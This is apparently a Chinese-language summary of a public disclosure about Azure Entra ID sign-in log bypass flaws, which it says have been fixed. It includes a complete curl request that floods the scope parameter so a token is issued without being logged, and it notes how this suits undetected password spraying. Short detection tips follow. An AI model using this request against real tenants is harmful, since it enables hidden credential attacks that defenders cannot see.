Security Azure Vulnerability

Azure Sign-In Log Bypass - 完整披露

⭐⭐⭐⭐⭐ (5星)

摘要

安全研究员发现第三和第四次 Azure Entra ID 登录日志绕过漏洞。可以获取有效 token 而不在日志中留下记录,这是管理员检测入侵的关键日志。

⚠️ 严重安全漏洞 - 攻击者可在不被发现的情况下验证密码并获取有效 token

历史发现

名称 报告时间 修复时间 描述
GraphNinja 08/2023 05/2024 通过指定外国 tenant ID 验证密码但不创建日志
GraphGhost 12/2024 04/2025 提供无效参数导致凭证验证后整体失败
GraphGoblin 2025 已修复 重复 scope 参数溢出 SQL 列
Graph**** 2025 已修复 另一种绕过方式

GraphGoblin 详细分析

攻击原理

通过提交重复的 scope 值(如 openid openid openid...)导致 SQL 列溢出,整个 INSERT 失败:

export TENANT_ID="[tenant-guid-goes-here]"
curl -X POST "https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "client_id=f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" \
  --data-urlencode "grant_type=password" \
  --data-urlencode "username=user@tenant.com" \
  --data-urlencode "password=secretpassword123" \
  --data-urlencode "scope=$(for num in {1..10000}; do echo -n 'openid ';done)"

为什么有效

  • SQL 列长度溢出导致整个插入失败
  • 凭证验证已完成,但日志记录失败
  • 返回有效 token,但日志中无记录
  • 管理员看不到任何登录尝试

影响

  • 攻击者可以无限次尝试密码
  • 获取有效 access token 和 refresh token
  • 完全绕过 SIEM 和威胁检测
  • 适合密码喷洒攻击

检测建议

使用 KQL 查询检测异常登录模式:

  • 检查 scope 字段异常长度
  • 监控多次失败后的成功登录
  • 关注非工作时间的大量认证尝试

URL

来源: Hacker News | 发现日期: 2026-03-20